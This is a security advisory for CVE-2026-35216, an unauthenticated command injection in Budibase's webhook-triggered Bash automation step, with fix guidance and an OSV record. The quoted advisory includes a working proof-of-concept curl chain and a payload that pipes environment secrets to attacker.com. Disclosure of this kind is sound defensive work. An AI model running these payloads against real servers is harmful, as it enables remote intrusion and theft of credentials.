CVE-2026-35216: Budibase Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-fcm4-4pj2-m5hf
CVSS 9.0
CWE-78
Published
Advisory Summary

CVE-2026-35216 is a CRITICAL (CVSS 9.0) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Budibase libraries in the npm ecosystem. The issue involves unauthenticated remote code execution via webhook trigger and bash automation step. Remediation is available by upgrading affected packages to version 3.33.4.

CVE-2026-35216 at a Glance

CVE Identifier CVE-2026-35216
GHSA Identifier GHSA-fcm4-4pj2-m5hf
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35216

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: 3.33.4
npm install @budibase/server@3.33.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-35216, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.33.4), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container. ### Details **Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:** ```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ``` The webhook trigger endpoint is registered on `publicRoutes` with **no authentication middleware**. Any unauthenticated HTTP client can POST to this endpoint. **Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:** ```typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() ``` The Bash automation step uses Handlebars template processing (`processStringSync`) on `inputs.code`, substituting values from the webhook request body into the shell command string before passing it to `execSync()`. **Attack chain:** ``` HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT ``` **Precondition:** An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`) This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks. **Note on EXECUTE_BASH availability:** The bash step is only registered when `SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments: ```typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } ``` **Webhook context flattening** (why `{{ trigger.cmd }}` works): In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations the `params.fields` are spread directly into the trigger context: ```typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } ``` This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}` in the bash step template. ### PoC #### Environment ``` Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE ``` --- #### PHASE 1 — Admin Setup (performed once by legitimate admin) > **Note:** This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure. **Step 1 — Authenticate as admin:** ```bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }' # Expected response: # {"message":"Login successful"} ``` **Step 2 — Create an application:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }' # Note the appId from the response, e.g.: # "appId": "app_dev_c999265f6f984e3aa986788723984cd5" APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" ``` **Step 3 — Create automation with Webhook trigger + Bash step:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }' # Note the automation _id from response, e.g.: # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... } AUTO_ID="au_b713759f83f64efda067e17b65545fce" ``` **Step 4 — Enable the automation** (new automations start as disabled): ```bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID") # Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ") curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" ``` **Step 5 — Create webhook linked to the automation:** ```bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }" # Note the webhook _id from response, e.g.: # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... } WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" ``` **Step 6 — Publish the app to production:** ```bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID" # Expected: {"status":"SUCCESS","appUrl":"/myapp"} # Production App ID = strip "dev_" from dev ID: # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" ``` --- #### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED) The attacker only needs the production `app_id` and `webhook_id`. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering **Step 7 — Basic RCE — whoami/id:** ```bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000" # NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}' # HTTP Response (immediate): # {"message":"Webhook trigger fired successfully"} # Command executes asynchronously inside container as root. # Output confirmed via container inspection or exfiltration. ``` **Step 8 — Exfiltrate all secrets:** ```bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' ``` Confirmed secrets leaked (no auth): ``` JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ``` ### Impact - **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. - **What can an attacker do:** - Execute arbitrary OS commands as `root` inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user - Potentially escape the container if `--privileged` or volume mounts are used - **Authentication required:** **None** — completely unauthenticated - **User interaction required:** **None** - **Network access required:** Only access to port 10000 (the Budibase proxy port) Discovered By: Abdulrahman Albatel Abdullah Alrasheed

CVE-2026-35216 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.33.4
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
< 3.33.4
3.33.4

References

Frequently Asked Questions

What is CVE-2026-35216?
CVE-2026-35216 is a security vulnerability in Budibase involving Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Budibase versions are affected?
Affected versions include releases prior to 3.33.4 across affected packages: @budibase/server.
What version fixes CVE-2026-35216?
Upgrading to 3.33.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to 3.33.4. Upgrade your dependency to 3.33.4 or later.
What is the CVSS score of CVE-2026-35216?
CVE-2026-35216 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35216?
CVE-2026-35216 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-35216?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fcm4-4pj2-m5hf",
  "modified" : "2026-04-04T06:04:58Z",
  "published" : "2026-04-04T06:04:58Z",
  "aliases" : [ "CVE-2026-35216" ],
  "summary" : "Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step",
  "details" : "### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH\n        ↓\ncontroller.trigger()  [webhook.ts:90]\n        ↓\ntriggers.externalTrigger()\n        ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run()  [actions.ts:131]\n        ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n        ↓\nexecSync(\"ATTACKER_PAYLOAD\")                          ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n  ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n  BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n  params = {\n    ...params,\n    ...params.fields,  // { cmd: \"PAYLOAD\" } becomes top-level\n    fields: {},\n  }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget:  http://TARGET:10000   (any self-hosted Budibase instance)\nTester:  Any machine with curl\nAuth:    Admin credentials required for SETUP PHASE only\n         Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n> **Note:** This phase represents normal Budibase usage. Any admin who creates\n> a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"admin@company.com\",\n    \"password\": \"adminpassword\"\n  }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"MyApp\",\n    \"useTemplate\": false,\n    \"url\": \"/myapp\"\n  }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\n    \"name\": \"WebhookBash\",\n    \"type\": \"automation\",\n    \"definition\": {\n      \"trigger\": {\n        \"id\": \"trigger_1\",\n        \"name\": \"Webhook\",\n        \"event\": \"app:webhook:trigger\",\n        \"stepId\": \"WEBHOOK\",\n        \"type\": \"TRIGGER\",\n        \"icon\": \"paper-plane-right\",\n        \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n        \"tagline\": \"Webhook endpoint is hit\",\n        \"inputs\": {},\n        \"schema\": {\n          \"inputs\": { \"properties\": {} },\n          \"outputs\": {\n            \"properties\": { \"body\": { \"type\": \"object\" } }\n          }\n        }\n      },\n      \"steps\": [\n        {\n          \"id\": \"bash_step_1\",\n          \"name\": \"Bash Scripting\",\n          \"stepId\": \"EXECUTE_BASH\",\n          \"type\": \"ACTION\",\n          \"icon\": \"git-branch\",\n          \"description\": \"Run a bash script\",\n          \"tagline\": \"Execute a bash command\",\n          \"inputs\": {\n            \"code\": \"{{ trigger.cmd }}\"\n          },\n          \"schema\": {\n            \"inputs\": {\n              \"properties\": { \"code\": { \"type\": \"string\" } }\n            },\n            \"outputs\": {\n              \"properties\": {\n                \"stdout\": { \"type\": \"string\" },\n                \"success\": { \"type\": \"boolean\" }\n              }\n            }\n          }\n        }\n      ]\n    }\n  }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n  -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"{\n    \\\"name\\\": \\\"MyWebhook\\\",\n    \\\"action\\\": {\n      \\\"type\\\": \\\"automation\\\",\n      \\\"target\\\": \\\"$AUTO_ID\\\"\n    }\n  }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n  -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n  any admin has created an automation with a Bash step that uses webhook trigger field\n  templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n  - Execute arbitrary OS commands as `root` inside the application container\n  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n  - Establish reverse shells and persistent access\n  - Read/write/delete all application data via CouchDB access\n  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n  - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.33.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35216"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/pull/18238"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.33.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-04T06:04:58Z",
    "nvd_published_at" : "2026-04-03T16:16:41Z"
  }
}